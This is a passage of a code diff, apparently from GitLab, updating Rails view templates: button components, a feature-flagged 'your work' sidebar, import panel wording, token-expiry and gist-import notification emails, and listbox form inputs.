- = sprite_icon('admin')
+ = render Pajamas::ButtonComponent.new(href: [:admin, @group], icon: 'admin', button_options: { title: _('View group in admin area'), data: { toggle: 'tooltip', placement: 'bottom', container: 'body' } })
- if @notification_setting
.js-vue-notification-dropdown{ data: { disabled: emails_disabled.to_s, dropdown_items: notification_dropdown_items(@notification_setting).to_json, notification_level: @notification_setting.level, help_page_path: help_page_path('user/profile/notifications'), group_id: @group.id, container_class: 'gl-vertical-align-top', no_flip: 'true' } }
- if can_create_subgroups
.gl-sm-w-auto.gl-w-full
- = link_to _("New subgroup"),
- new_group_path(parent_id: @group.id, anchor: 'create-group-pane'),
- class: "btn btn-default gl-button gl-sm-w-auto gl-w-full",
- data: { qa_selector: 'new_subgroup_button' }
+ = render Pajamas::ButtonComponent.new(href: new_group_path(parent_id: @group.id, anchor: 'create-group-pane'), button_options: { data: { qa_selector: 'new_subgroup_button' }, class: 'gl-sm-w-auto gl-w-full'}) do
+ = _("New subgroup")
+
- if can_create_projects
.gl-sm-w-auto.gl-w-full
- = link_to _("New project"), new_project_path(namespace_id: @group.id), class: "btn btn-confirm gl-button gl-sm-w-auto gl-w-full", data: { qa_selector: 'new_project_button' }
+ = render Pajamas::ButtonComponent.new(href: new_project_path(namespace_id: @group.id), variant: :confirm, button_options: { data: { qa_selector: 'new_project_button' }, class: 'gl-sm-w-auto gl-w-full' }) do
+ = _('New project')
- if @group.description.present?
.group-home-desc.mt-1
.home-panel-description
.home-panel-description-markdown.read-more-container{ itemprop: 'description' }
= markdown_field(@group, :description)
- %button.gl-button.btn.btn-link.js-read-more-trigger.d-lg-none{ type: "button" }
+ = render Pajamas::ButtonComponent.new(variant: :link, button_options: { class: 'js-read-more-trigger gl-lg-display-none' }) do
= _("Read more")
diff --git a/app/views/groups/_import_group_from_another_instance_panel.html.haml b/app/views/groups/_import_group_from_another_instance_panel.html.haml
index 4a4bdfc6714..24ba060a89a 100644
--- a/app/views/groups/_import_group_from_another_instance_panel.html.haml
+++ b/app/views/groups/_import_group_from_another_instance_panel.html.haml
@@ -4,7 +4,7 @@
.gl-border-l-solid.gl-border-r-solid.gl-border-t-solid.gl-border-gray-100.gl-border-1.gl-p-5.gl-mt-4
.gl-display-flex.gl-align-items-center
%h4.gl-display-flex
- = s_('GroupsNew|Import groups from another instance of GitLab')
+ = s_('GroupsNew|Import groups by direct transfer')
= link_to _('History'), history_import_bulk_imports_path, class: 'gl-link gl-ml-auto'
- if bulk_imports_disabled
@@ -30,12 +30,12 @@
= s_('GroupsNew|Not all related objects are migrated. %{docs_link_start}More info%{docs_link_end}.').html_safe % { docs_link_start: docs_link_start, docs_link_end: docs_link_end }
%p.gl-mt-3
- = s_('GroupsNew|Provide credentials for another instance of GitLab to import your groups directly.')
+ = s_('GroupsNew|Provide credentials for the source instance to import from. You can provide this instance as a source to move groups in this instance.')
.form-group.gl-display-flex.gl-flex-direction-column
- = f.label :bulk_import_gitlab_url, s_('GroupsNew|GitLab source URL'), for: 'import_gitlab_url'
+ = f.label :bulk_import_gitlab_url, s_('GroupsNew|GitLab source instance URL'), for: 'import_gitlab_url'
= f.text_field :bulk_import_gitlab_url, disabled: bulk_imports_disabled, placeholder: 'https://gitlab.example.com', class: 'gl-form-input col-xs-12 col-sm-8',
required: true,
- title: s_('GroupsNew|Please fill in GitLab source URL.'),
+ title: s_('GroupsNew|Enter the URL for the source instance.'),
id: 'import_gitlab_url',
data: { qa_selector: 'import_gitlab_url' }
.form-group.gl-display-flex.gl-flex-direction-column
diff --git a/app/views/groups/new.html.haml b/app/views/groups/new.html.haml
index 657a582bdc5..b75fda2f344 100644
--- a/app/views/groups/new.html.haml
+++ b/app/views/groups/new.html.haml
@@ -16,9 +16,8 @@
#import-group-pane.tab-pane
- if import_sources_enabled?
- - if BulkImports::Features.enabled?
- = render 'import_group_from_another_instance_panel'
- .gl-mt-7.gl-border-b-solid.gl-border-gray-100.gl-border-1
+ = render 'import_group_from_another_instance_panel'
+ .gl-mt-7.gl-border-b-solid.gl-border-gray-100.gl-border-1
= render 'import_group_from_file_panel'
- else
.nothing-here-block
diff --git a/app/views/groups/settings/repository/show.html.haml b/app/views/groups/settings/repository/show.html.haml
index a15652b3179..c6bf2d66683 100644
--- a/app/views/groups/settings/repository/show.html.haml
+++ b/app/views/groups/settings/repository/show.html.haml
@@ -8,5 +8,7 @@
= render "shared/deploy_tokens/index", group_or_project: @group, description: deploy_token_description
= render "default_branch", group: @group
+= render_if_exists "protected_branches/protected_branches", protected_branch_entity: @group
+
- if can?(current_user, :change_push_rules, @group)
= render "push_rules"
diff --git a/app/views/ide/_show.html.haml b/app/views/ide/_show.html.haml
index b18b5f1574b..c968d84fc36 100644
--- a/app/views/ide/_show.html.haml
+++ b/app/views/ide/_show.html.haml
@@ -1,4 +1,4 @@
-- page_title _('IDE')
+- page_title _("IDE"), @project.full_name
- unless use_new_web_ide?
- add_page_specific_style 'page_bundles/build'
diff --git a/app/views/layouts/_loading_hints.html.haml b/app/views/layouts/_loading_hints.html.haml
index b1d1447ae2a..60ab6927fd2 100644
--- a/app/views/layouts/_loading_hints.html.haml
+++ b/app/views/layouts/_loading_hints.html.haml
@@ -18,4 +18,7 @@
-# See https://github.com/web-platform-tests/wpt/pull/36930
%link{ rel: 'preload', href: font_path('gitlab-sans/GitLabSans.woff2'), as: 'font', crossorigin: css_crossorigin }
%link{ rel: 'preload', href: font_path('jetbrains-mono/JetBrainsMono.woff2'), as: 'font', crossorigin: css_crossorigin }
+ %link{ rel: 'preload', href: font_path('jetbrains-mono/JetBrainsMono-Bold.woff2'), as: 'font', crossorigin: css_crossorigin }
+ %link{ rel: 'preload', href: font_path('jetbrains-mono/JetBrainsMono-Italic.woff2'), as: 'font', crossorigin: css_crossorigin }
+ %link{ rel: 'preload', href: font_path('jetbrains-mono/JetBrainsMono-BoldItalic.woff2'), as: 'font', crossorigin: css_crossorigin }
= preload_link_tag(path_to_stylesheet('fonts'), crossorigin: css_crossorigin)
diff --git a/app/views/layouts/_page.html.haml b/app/views/layouts/_page.html.haml
index bb1d051f71f..010ddd8da39 100644
--- a/app/views/layouts/_page.html.haml
+++ b/app/views/layouts/_page.html.haml
@@ -1,5 +1,10 @@
+- if show_super_sidebar?
+ - @left_sidebar = true
.layout-page.hide-when-top-nav-responsive-open{ class: page_with_sidebar_class }
- - if defined?(nav) && nav
+ - if show_super_sidebar?
+ - sidebar_data = super_sidebar_context(current_user).to_json
+ %aside.js-super-sidebar.nav-sidebar{ data: { root_path: root_path, sidebar: sidebar_data, toggle_new_nav_endpoint: profile_preferences_url } }
+ - elsif defined?(nav) && nav
= render "layouts/nav/sidebar/#{nav}"
.content-wrapper.content-wrapper-margin{ class: "#{@content_wrapper_class}" }
.mobile-overlay
diff --git a/app/views/layouts/_snowplow.html.haml b/app/views/layouts/_snowplow.html.haml
index 22cc8027202..0b5c4730b64 100644
--- a/app/views/layouts/_snowplow.html.haml
+++ b/app/views/layouts/_snowplow.html.haml
@@ -7,7 +7,7 @@
;(function(p,l,o,w,i,n,g){if(!p[i]){p.GlobalSnowplowNamespace=p.GlobalSnowplowNamespace||[];
p.GlobalSnowplowNamespace.push(i);p[i]=function(){(p[i].q=p[i].q||[]).push(arguments)
};p[i].q=p[i].q||[];n=l.createElement(o);g=l.getElementsByTagName(o)[0];n.async=1;
- n.src=w;g.parentNode.insertBefore(n,g)}}(window,document,"script","#{asset_url('snowplow/sp.js')}","snowplow"));
+ n.src=w;g.parentNode.insertBefore(n,g)}}(window,document,"script","#{escaped_url(asset_url('snowplow/sp.js'))}","snowplow"));
window.snowplowOptions = #{Gitlab::Tracking.options(@group).to_json}
diff --git a/app/views/layouts/application.html.haml b/app/views/layouts/application.html.haml
index 455d18a5ae8..fa79219df4a 100644
--- a/app/views/layouts/application.html.haml
+++ b/app/views/layouts/application.html.haml
@@ -11,7 +11,14 @@
= render "layouts/visual_review" if ENV['REVIEW_APPS_ENABLED']
= render 'peek/bar'
= header_message
- = render partial: "layouts/header/default", locals: { project: @project, group: @group }
+
+ - if show_super_sidebar? # TODO: Move this CSS to a better place
+ :css
+ body {
+ --header-height: 0px;
+ }
+ - else
+ = render partial: "layouts/header/default", locals: { project: @project, group: @group }
= render 'layouts/page', sidebar: sidebar, nav: nav
= footer_message
diff --git a/app/views/layouts/dashboard.html.haml b/app/views/layouts/dashboard.html.haml
index c10be282952..028c22fe9e5 100644
--- a/app/views/layouts/dashboard.html.haml
+++ b/app/views/layouts/dashboard.html.haml
@@ -1,6 +1,9 @@
- page_title _("Dashboard")
- header_title _("Dashboard"), root_path unless header_title
-- sidebar "dashboard"
-- @hide_breadcrumbs = true
+- if Feature.enabled?(:your_work_sidebar, current_user)
+ - @left_sidebar = true
+ - nav "your_work"
+- else
+ - @hide_breadcrumbs = true
= render template: "layouts/application"
diff --git a/app/views/layouts/explore.html.haml b/app/views/layouts/explore.html.haml
index 24751ab4e06..389dee853ba 100644
--- a/app/views/layouts/explore.html.haml
+++ b/app/views/layouts/explore.html.haml
@@ -1,7 +1,11 @@
- page_title _("Explore")
-- @hide_breadcrumbs = true
+
+- if current_user && Feature.enabled?(:your_work_sidebar, current_user)
+ - @left_sidebar = true
+ - nav "your_work"
- unless current_user
+ - @hide_breadcrumbs = true
- header_title _("Explore GitLab"), explore_root_path
= render template: "layouts/application"
diff --git a/app/views/layouts/header/_registration_enabled_callout.html.haml b/app/views/layouts/header/_registration_enabled_callout.html.haml
index 52c39fce961..5c70136a932 100644
--- a/app/views/layouts/header/_registration_enabled_callout.html.haml
+++ b/app/views/layouts/header/_registration_enabled_callout.html.haml
@@ -9,9 +9,7 @@
= c.body do
= _("Your GitLab instance allows anyone to register for an account, which is a security risk on public-facing GitLab instances. You should deactivate new sign ups if public users aren't expected to register for an account.")
= c.actions do
- = link_to general_admin_application_settings_path(anchor: 'js-signup-settings'), class: 'btn gl-alert-action btn-confirm btn-md gl-button' do
- %span.gl-button-text
- = _('Deactivate')
- %button.btn.gl-alert-action.btn-default.btn-md.gl-button.js-close
- %span.gl-button-text
- = _('Acknowledge')
+ = render Pajamas::ButtonComponent.new(variant: :confirm, href: general_admin_application_settings_path(anchor: 'js-signup-settings')) do
+ = _('Deactivate')
+ = render Pajamas::ButtonComponent.new(button_options: { class: 'js-close gl-ml-3'}) do
+ = _('Acknowledge')
diff --git a/app/views/layouts/nav/sidebar/_admin.html.haml b/app/views/layouts/nav/sidebar/_admin.html.haml
index 717175e8eb3..24b301fadce 100644
--- a/app/views/layouts/nav/sidebar/_admin.html.haml
+++ b/app/views/layouts/nav/sidebar/_admin.html.haml
@@ -7,14 +7,14 @@
%span.sidebar-context-title
= _('Admin Area')
%ul.sidebar-top-level-items{ data: { qa_selector: 'admin_overview_submenu_content' } }
- = nav_link(controller: %w[dashboard admin admin/projects users groups admin/topics jobs runners gitaly_servers cohorts], html_options: {class: 'home'}) do
+ = nav_link(controller: %w[dashboard admin admin/projects users groups admin/topics gitaly_servers cohorts], html_options: {class: 'home'}) do
= link_to admin_root_path, class: 'has-sub-items' do
.nav-icon-container
= sprite_icon('overview')
%span.nav-item-name
= _('Overview')
%ul.sidebar-sub-level-items
- = nav_link(controller: %w[dashboard admin admin/projects users groups jobs runners gitaly_servers cohorts], html_options: { class: "fly-out-top-item" }) do
+ = nav_link(controller: %w[dashboard admin admin/projects users groups gitaly_servers cohorts], html_options: { class: "fly-out-top-item" }) do
= link_to admin_root_path do
%strong.fly-out-top-item-name
= _('Overview')
@@ -39,18 +39,31 @@
= link_to admin_topics_path, title: _('Topics') do
%span
= _('Topics')
- = nav_link path: 'jobs#index' do
- = link_to admin_jobs_path, title: _('Jobs') do
+ = nav_link(controller: :gitaly_servers) do
+ = link_to admin_gitaly_servers_path, title: 'Gitaly Servers' do
%span
- = _('Jobs')
- = nav_link path: ['runners#index', 'runners#show'] do
+ = _('Gitaly Servers')
+
+ = nav_link(controller: %w[runners jobs]) do
+ = link_to admin_runners_path, class: 'has-sub-items' do
+ .nav-icon-container
+ = sprite_icon('rocket')
+ %span.nav-item-name
+ = _('CI/CD')
+ %ul.sidebar-sub-level-items
+ = nav_link(controller: %w[runners jobs], html_options: { class: "fly-out-top-item" }) do
+ = link_to admin_runners_path do
+ %strong.fly-out-top-item-name
+ = _('CI/CD')
+ %li.divider.fly-out-top-item
+ = nav_link(controller: :runners) do
= link_to admin_runners_path, title: _('Runners') do
%span
= _('Runners')
- = nav_link(controller: :gitaly_servers) do
- = link_to admin_gitaly_servers_path, title: 'Gitaly Servers' do
+ = nav_link(controller: :jobs) do
+ = link_to admin_jobs_path, title: _('Jobs') do
%span
- = _('Gitaly Servers')
+ = _('Jobs')
= nav_link(controller: admin_analytics_nav_links) do
= link_to admin_dev_ops_reports_path, data: { qa_selector: 'admin_analytics_link' }, class: 'has-sub-items' do
diff --git a/app/views/layouts/nav/sidebar/_your_work.html.haml b/app/views/layouts/nav/sidebar/_your_work.html.haml
new file mode 100644
index 00000000000..0eba5045ab1
--- /dev/null
+++ b/app/views/layouts/nav/sidebar/_your_work.html.haml
@@ -0,0 +1 @@
+= render partial: 'shared/nav/sidebar', object: Sidebars::YourWork::Panel.new(Sidebars::Context.new(current_user: current_user, container: nil))
diff --git a/app/views/layouts/oauth_error.html.haml b/app/views/layouts/oauth_error.html.haml
index 03b387f8181..8d241dfd207 100644
--- a/app/views/layouts/oauth_error.html.haml
+++ b/app/views/layouts/oauth_error.html.haml
@@ -3,35 +3,10 @@
%head
%meta{ :content => "width=device-width, initial-scale=1, maximum-scale=1", :name => "viewport" }
%title= yield(:title)
+ = stylesheet_link_tag 'application_utilities'
+ %style
+ = Rails.application.assets_manifest.find_sources('errors.css').first.to_s.html_safe
:css
- body {
- color: #666;
- text-align: center;
- font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
- margin: auto;
- font-size: 16px;
- }
-
- .container {
- margin: auto 20px;
- }
-
- h3 {
- color: #456;
- font-size: 22px;
- font-weight: 600;
- margin-bottom: 6px;
- }
-
- p {
- max-width: 470px;
- margin: 16px auto;
- }
-
- .subtitle {
- margin: 0 auto 20px;
- }
-
svg {
width: 280px;
height: 280px;
@@ -82,46 +57,5 @@
25% {opacity: 1;}
}
- .light {
- color: #8D8D8D;
- }
-
- hr {
- max-width: 600px;
- margin: 18px auto;
- border: 0;
- border-top: 1px solid #EEE;
- }
-
- .btn {
- padding: 8px 14px;
- border-radius: 3px;
- border: 1px solid;
- display: inline-block;
- text-decoration: none;
- margin: 4px 8px;
- font-size: 14px;
- }
-
- .primary {
- color: #fff;
- background-color: #1aaa55;
- border-color: #168f48;
- }
-
- .primary:hover {
- background-color: #168f48;
- }
-
- .secondary {
- color: #1aaa55;
- background-color: #fff;
- border-color: #1aaa55;
- }
-
- .secondary:hover {
- background-color: #f3fff8;
- }
-
%body
= yield
diff --git a/app/views/layouts/snippets.html.haml b/app/views/layouts/snippets.html.haml
index 54b5ec85ccc..fd331d4b6c8 100644
--- a/app/views/layouts/snippets.html.haml
+++ b/app/views/layouts/snippets.html.haml
@@ -2,6 +2,10 @@
- header_title _("Snippets"), snippets_path
- snippets_upload_path = snippets_upload_path(@snippet, current_user)
+- if current_user && Feature.enabled?(:your_work_sidebar, current_user)
+ - @left_sidebar = true
+ - nav "your_work"
+
- content_for :page_specific_javascripts do
- if snippets_upload_path
= javascript_tag do
diff --git a/app/views/notify/access_token_expired_email.html.haml b/app/views/notify/access_token_expired_email.html.haml
index 1e7c07c2282..9c3ef4cfdff 100644
--- a/app/views/notify/access_token_expired_email.html.haml
+++ b/app/views/notify/access_token_expired_email.html.haml
@@ -1,7 +1,15 @@
%p
= _('Hi %{username}!') % { username: sanitize_name(@user.name) }
%p
- = _('One or more of your personal access tokens has expired.')
+ - if @token_names.empty?
+ = _('One or more of your personal access tokens has expired.')
+ - else
+ = _('The following personal access tokens have expired:')
+
+ %p
+ %ul
+ - @token_names.each do |token|
+ %li= token
%p
- - pat_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: @target_url }
+ - pat_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: @target_url }
= html_escape(_('You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings.')) % { pat_link_start: pat_link_start, pat_link_end: '</a>'.html_safe }
diff --git a/app/views/notify/access_token_expired_email.text.erb b/app/views/notify/access_token_expired_email.text.erb
index 4dc67e85dc2..6f6a9d38192 100644
--- a/app/views/notify/access_token_expired_email.text.erb
+++ b/app/views/notify/access_token_expired_email.text.erb
@@ -1,5 +1,13 @@
<%= _('Hi %{username}!') % { username: sanitize_name(@user.name) } %>
-<%= _('One or more of your personal access tokens has expired.') %>
+<%- if @token_names.empty? -%>
+<%= _('One or more of your personal access tokens have expired.') %>
+<%- else -%>
+<%= _('The following personal access tokens have expired:') %>
+
+<%- @token_names.each do |token| -%>
+ - <%= token %>
+<%- end -%>
+<%- end -%>
<%= _('You can create a new one or check them in your personal access tokens settings %{pat_link}.') % { pat_link: @target_url } %>
diff --git a/app/views/notify/access_token_revoked_email.html.haml b/app/views/notify/access_token_revoked_email.html.haml
index ecd2b3e84b2..780d633f184 100644
--- a/app/views/notify/access_token_revoked_email.html.haml
+++ b/app/views/notify/access_token_revoked_email.html.haml
@@ -2,7 +2,7 @@
= _('Hi %{username}!') % { username: sanitize_name(@user.name) }
%p
= html_escape(_('A personal access token, named %{code_start}%{token_name}%{code_end}, has been revoked.')) % { code_start: '<code>'.html_safe, token_name: @token_name, code_end: '</code>'.html_safe }
-- if @source == 'secret_detection'
+- if @source == :secret_detection
= _('We found your token in a public project and have automatically revoked it to protect your account.')
%p
- pat_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: @target_url }
diff --git a/app/views/notify/access_token_revoked_email.text.erb b/app/views/notify/access_token_revoked_email.text.erb
index a0623f96488..8ddab63ae27 100644
--- a/app/views/notify/access_token_revoked_email.text.erb
+++ b/app/views/notify/access_token_revoked_email.text.erb
@@ -1,7 +1,7 @@
<%= _('Hi %{username}!') % { username: sanitize_name(@user.name) } %>
<%= _('A personal access token, named %{token_name}, has been revoked.') % { token_name: @token_name } %>
-<% if @source == 'secret_detection' %>
+<% if @source == :secret_detection %>
<%= _('We found your token in a public project and have automatically revoked it to protect your account.') %>
<% end %>
diff --git a/app/views/notify/github_gists_import_errors_email.html.haml b/app/views/notify/github_gists_import_errors_email.html.haml
new file mode 100644
index 00000000000..07b4cfca77e
--- /dev/null
+++ b/app/views/notify/github_gists_import_errors_email.html.haml
@@ -0,0 +1,19 @@
+- text_style = 'font-size:16px; text-align:center; line-height:30px;'
+
+%p{ style: text_style }
+ = s_('GithubImporter|Your import of GitHub gists into GitLab snippets is complete.')
+
+%p
+ = s_('GithubImporter|GitHub gists that were not imported:')
+
+ %ol
+ - @errors.each do |gist_id, error|
+ %li
+ = s_("GithubImporter|Gist with id %{gist_id} failed due to error: %{error}.") % { gist_id: gist_id, error: error }
+ - if error == Gitlab::GithubGistsImport::Importer::GistImporter::FILE_COUNT_LIMIT_MESSAGE
+ - import_snippets_url = help_page_url('api/import.md', anchor: 'import-github-gists-into-gitlab-snippets')
+ - import_snippets_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: import_snippets_url }
+ = html_escape(s_("GithubImporter|Please follow %{import_snippets_link_start}Import GitHub gists into GitLab snippets%{import_snippets_link_end} for more details.")) % { import_snippets_link_start: import_snippets_link_start, import_snippets_link_end: '</a>'.html_safe }
+
+%p
+ = s_('GithubImporter|GitHub gists with more than 10 files must be manually migrated.')
diff --git a/app/views/notify/github_gists_import_errors_email.text.erb b/app/views/notify/github_gists_import_errors_email.text.erb
new file mode 100644
index 00000000000..2743a658269
--- /dev/null
+++ b/app/views/notify/github_gists_import_errors_email.text.erb
@@ -0,0 +1,12 @@
+<%= s_('GithubImporter|Your import of GitHub gists into GitLab snippets is complete.') %>
+
+<%= s_('GithubImporter|GitHub gists that were not imported:') %>
+<% @errors.each do |gist_id, error| %>
+ - <%= s_("GithubImporter|Gist with id %{gist_id} failed due to error: %{error}.") % { gist_id: gist_id, error: error } %>
+ <% if error == Gitlab::GithubGistsImport::Importer::GistImporter::FILE_COUNT_LIMIT_MESSAGE %>
+ <% import_snippets_url = help_page_url('api/import.md', anchor: 'import-github-gists-into-gitlab-snippets') %>
+ <%= s_("GithubImporter|Please follow %{import_snippets_url} for more details.") % { import_snippets_url: import_snippets_url } %>
+ <% end %>
+<% end %>
+
+<%= s_('GithubImporter|GitHub gists with more than 10 files must be manually migrated.') %>
diff --git a/app/views/notify/service_desk_new_note_email.html.haml b/app/views/notify/service_desk_new_note_email.html.haml
index 02f6b3914c9..969221d00d2 100644
--- a/app/views/notify/service_desk_new_note_email.html.haml
+++ b/app/views/notify/service_desk_new_note_email.html.haml
@@ -2,4 +2,4 @@
.gl-mb-5
= _("%{author_link} wrote:").html_safe % { author_link: link_to(@note.author_name, user_url(@note.author)) }
.md
- = markdown(@note.note, pipeline: :email, author: @note.author, issuable_reference_expansion_enabled: true)
+ = markdown(@note.note, pipeline: :service_desk_email, author: @note.author, issuable_reference_expansion_enabled: true, uploads_as_attachments: @uploads_as_attachments)
diff --git a/app/views/profiles/chat_names/_chat_name.html.haml b/app/views/profiles/chat_names/_chat_name.html.haml
index 0b45869bdf9..ce2fc2098c5 100644
--- a/app/views/profiles/chat_names/_chat_name.html.haml
+++ b/app/views/profiles/chat_names/_chat_name.html.haml
@@ -1,18 +1,20 @@
- integration = chat_name.integration
-- project = integration.project
+- project = integration&.project
%tr
%td
%strong
- - if can?(current_user, :read_project, project)
+ - if project.present? && can?(current_user, :read_project, project)
= link_to project.full_name, project_path(project)
- else
.light= _('Not applicable.')
%td
%strong
- - if can?(current_user, :admin_project, project)
+ - if integration.present? && can?(current_user, :admin_project, project)
= link_to integration.title, edit_project_settings_integration_path(project, integration)
- - else
+ - elsif integration.present?
= integration.title
+ - else
+ .light= _('Not applicable.')
%td
= chat_name.team_domain
%td
diff --git a/app/views/profiles/notifications/_email_settings.html.haml b/app/views/profiles/notifications/_email_settings.html.haml
index c4de33dcd9e..cd7a7ced1d4 100644
--- a/app/views/profiles/notifications/_email_settings.html.haml
+++ b/app/views/profiles/notifications/_email_settings.html.haml
@@ -1,7 +1,6 @@
- form = local_assigns.fetch(:form)
.form-group
- = form.label :notification_email, _('Notification Email'), class: "label-bold"
- = form.select :notification_email, @user.public_verified_emails, { include_blank: _('Use primary email (%{email})') % { email: @user.email }, selected: @user.notification_email }, class: "select2", disabled: local_assigns.fetch(:email_change_disabled, nil)
+ .js-notification-email-listbox-input{ data: { label: _('Notification Email'), name: 'user[notification_email]', emails: @user.public_verified_emails.to_json, empty_value_text: _('Use primary email (%{email})') % { email: @user.email }, value: @user.notification_email, disabled: local_assigns.fetch(:email_change_disabled, nil) } }
.help-block
= local_assigns.fetch(:help_text, nil)
.form-group
diff --git a/app/views/profiles/notifications/_group_settings.html.haml b/app/views/profiles/notifications/_group_settings.html.haml
index 23fce8e04b6..898762ca78a 100644
--- a/app/views/profiles/notifications/_group_settings.html.haml
+++ b/app/views/profiles/notifications/_group_settings.html.haml
@@ -14,4 +14,4 @@
.table-section.section-30
= form_for setting, url: profile_group_notifications_path(group), method: :put, html: { class: 'update-notifications gl-display-flex' } do |f|
- = f.select :notification_email, @user.public_verified_emails, { include_blank: 'Global notification email' }, class: 'select2 js-group-notification-email'
+ .js-notification-email-listbox-input{ data: { name: 'notification_setting[notification_email]', emails: @user.public_verified_emails.to_json, empty_value_text: _('Global notification email') , value: setting.notification_email } }
diff --git a/app/views/profiles/preferences/show.html.haml b/app/views/profiles/preferences/show.html.haml
index 24ef9cf4dec..b10d05efc4f 100644
--- a/app/views/profiles/preferences/show.html.haml
+++ b/app/views/profiles/preferences/show.html.haml
@@ -76,12 +76,7 @@
= f.select :layout, layout_choices, {}, class: 'gl-form-select custom-select'
.form-text.text-muted
= s_('Preferences|Choose between fixed (max. 1280px) and fluid (%{percentage}) application layout.').html_safe % { percentage: '100%' }
- .form-group
- = f.label :dashboard, class: 'label-bold' do
- = s_('Preferences|Dashboard')
- = f.select :dashboard, dashboard_choices, {}, class: 'select2'
- .form-text.text-muted
- = s_('Preferences|Choose what content you want to see by default on your dashboard.')
+ .js-listbox-input{ data: { label: s_('Preferences|Dashboard'), description: s_('Preferences|Choose what content you want to see by default on your dashboard.'), name: 'user[dashboard]', items: dashboard_choices.to_json, value: current_user.dashboard } }
= render_if_exists 'profiles/preferences/group_overview_selector', f: f # EE-specific
@@ -130,17 +125,12 @@
= succeed '.' do
= link_to _('Learn more'), help_page_path('user/profile/preferences', anchor: 'localization'), target: '_blank', rel: 'noopener noreferrer'
.col-lg-8
- .form-group
- = f.label :preferred_language, class: 'label-bold' do
- = _('Language')
- = f.select :preferred_language, language_choices, {}, class: 'select2'
- .form-text.text-muted
- = s_('Preferences|This feature is experimental and translations are not yet complete.')
- %p
- = link_to help_page_url('development/i18n/translation'), class: 'text-nowrap', target: '_blank', rel: 'noopener noreferrer' do
- = _("Help translate GitLab into your language")
- %span{ aria: { label: _('Open new window') } }
- = sprite_icon('external-link')
+ .js-listbox-input{ data: { label: _('Language'), description: s_('Preferences|This feature is experimental and translations are not yet complete.'), name: 'user[preferred_language]', items: language_choices.to_json, value: current_user.preferred_language } }
+ %p.gl-mt-n5
+ = link_to help_page_url('development/i18n/translation'), class: 'text-nowrap', target: '_blank', rel: 'noopener noreferrer' do
+ = _("Help translate GitLab into your language")
+ %span{ aria: { label: _('Open new window') } }
+ = sprite_icon('external-link')
.form-group
= f.label :first_day_of_week, class: 'label-bold' do
= _('First day of the week')
diff --git a/app/views/projects/_files.html.haml b/app/views/projects/_files.html.haml
index 712d6fabf82..e4eed63f45a 100644
--- a/app/views/projects/_files.html.haml
+++ b/app/views/projects/_files.html.haml
@@ -1,8 +1,10 @@
+- @no_breadcrumb_border = true
- show_auto_devops_callout = show_auto_devops_callout?(@project)
- is_project_overview = local_assigns.fetch(:is_project_overview, false)
- ref = local_assigns.fetch(:ref) { current_ref }
- project = local_assigns.fetch(:project) { @project }
- add_page_startup_api_call logs_file_project_ref_path(@project, ref, @path, format: "json", offset: 0)
+- source = visible_fork_source(@project)
- if readme_path = @project.repository.readme_path
- add_page_startup_api_call project_blob_path(@project, tree_join(@ref, readme_path), viewer: "rich", format: "json")
@@ -16,7 +18,7 @@
= render 'projects/tree/tree_header', tree: @tree, is_project_overview: is_project_overview
- if project.forked? && Feature.enabled?(:fork_divergence_counts, @project.fork_source)
- = render 'projects/fork_info'
+ #js-fork-info{ data: { source_name: source ? source.full_name : '', source_path: source ? project_path(source) : '' } }
- if is_project_overview
.project-buttons.gl-mb-5.js-show-on-project-root{ data: { qa_selector: 'project_buttons' } }
diff --git a/app/views/projects/_fork_info.html.haml b/app/views/projects/_fork_info.html.haml
deleted file mode 100644
index 7fe30214e97..00000000000
--- a/app/views/projects/_fork_info.html.haml
+++ /dev/null
@@ -1,14 +0,0 @@
-.info-well.gl-sm-display-flex.gl-flex-direction-column
- .well-segment.gl-p-5.gl-w-full.gl-display-flex
- .gl-icon.s32.gl-mt-4.gl-mr-4.gl-text-center
- = sprite_icon('fork')
- - source = visible_fork_source(@project)
- - if source
- %div
- #{ s_('ForkedFromProjectPath|Forked from') }
- = link_to source.full_name, project_path(source), data: { qa_selector: 'forked_from_link' }
- .gl-text-secondary
- = fork_divergence_message(::Projects::Forks::DivergenceCounts.new(@project, @ref).counts)
- - else
- .gl-py-4
- = s_('ForkedFromProjectPath|Forked from an inaccessible project')
diff --git a/app/views/projects/_home_panel.html.haml b/app/views/projects/_home_panel.html.haml
index dc426f2f6b7..b9aeed188fa 100644
--- a/app/views/projects/_home_panel.html.haml
+++ b/app/views/projects/_home_panel.html.haml
@@ -14,6 +14,8 @@
%span.visibility-icon.gl-text-secondary.has-tooltip.gl-ml-2{ data: { container: 'body' }, title: visibility_icon_description(@project) }
= visibility_level_icon(@project.visibility_level, options: { class: 'icon' })
= render_if_exists 'compliance_management/compliance_framework/compliance_framework_badge', project: @project, additional_classes: 'gl-align-self-center gl-ml-2'
+ - if @project.group
+ = render_if_exists 'shared/tier_badge', source: @project, source_type: 'Project'
.home-panel-metadata.gl-font-sm.gl-text-secondary.gl-font-base.gl-font-weight-normal.gl-line-height-normal{ data: { qa_selector: 'project_id_content' }, itemprop: 'identifier' }
- if can?(current_user, :read_project, @project)
%span.gl-display-inline-block.gl-vertical-align-middle
@@ -60,7 +62,7 @@
#{ s_('ForkedFromProjectPath|Forked from') }
= link_to source.full_name, project_path(source), data: { qa_selector: 'forked_from_link' }
- else
- = s_('ForkedFromProjectPath|Forked from an inaccessible project')
+ = s_('ForkedFromProjectPath|Forked from an inaccessible project.')
= render_if_exists "projects/home_mirror"
diff --git a/app/views/projects/_import_project_pane.html.haml b/app/views/projects/_import_project_pane.html.haml
index cc5271a1cd2..412c91544a6 100644
--- a/app/views/projects/_import_project_pane.html.haml
+++ b/app/views/projects/_import_project_pane.html.haml
@@ -7,6 +7,14 @@
%h5.gl-display-flex
= _("Import project from")
= link_to _('History'), import_history_index_path, class: 'gl-link gl-ml-auto gl-font-weight-normal'
+ %div
+ = render Pajamas::AlertComponent.new(variant: :tip,
+ alert_options: { class: 'gl-my-3' },
+ dismissible: false) do |c|
+ = c.body do
+ - docs_link_url = help_page_path('user/group/import/index') + '#migrate-groups-by-direct-transfer-recommended'
+ - docs_link = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: docs_link_url }
